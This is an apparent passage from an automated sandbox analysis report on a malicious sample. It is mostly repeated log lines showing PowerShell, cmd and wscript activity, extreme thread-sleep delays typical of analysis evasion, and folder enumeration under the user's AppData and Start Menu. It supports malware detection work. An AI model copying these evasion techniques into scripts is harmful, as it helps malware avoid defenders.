Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5085	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4719	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: foregroundWindowGot 1761	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1325	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 603	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3447	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 400	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 855
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 622

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep count: 5085 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4072	Thread sleep count: 4719 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1512	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3172	Thread sleep count: 1325 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3172	Thread sleep count: 603 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2156	Thread sleep count: 3447 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6368	Thread sleep count: 400 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6124	Thread sleep count: 855 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5864	Thread sleep count: 622 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3908	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,

17_2_00407898

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: powershell.exe, 00000010.00000002.2280534734.000000000329C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NetEventVmNetworkAdatper.format.ps1xml
Source: bhv8D61.tmp.14.dr	Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: powershell.exe, 00000010.00000002.2280534734.000000000329C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NetEventVmNetworkAdatper.cdxml

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

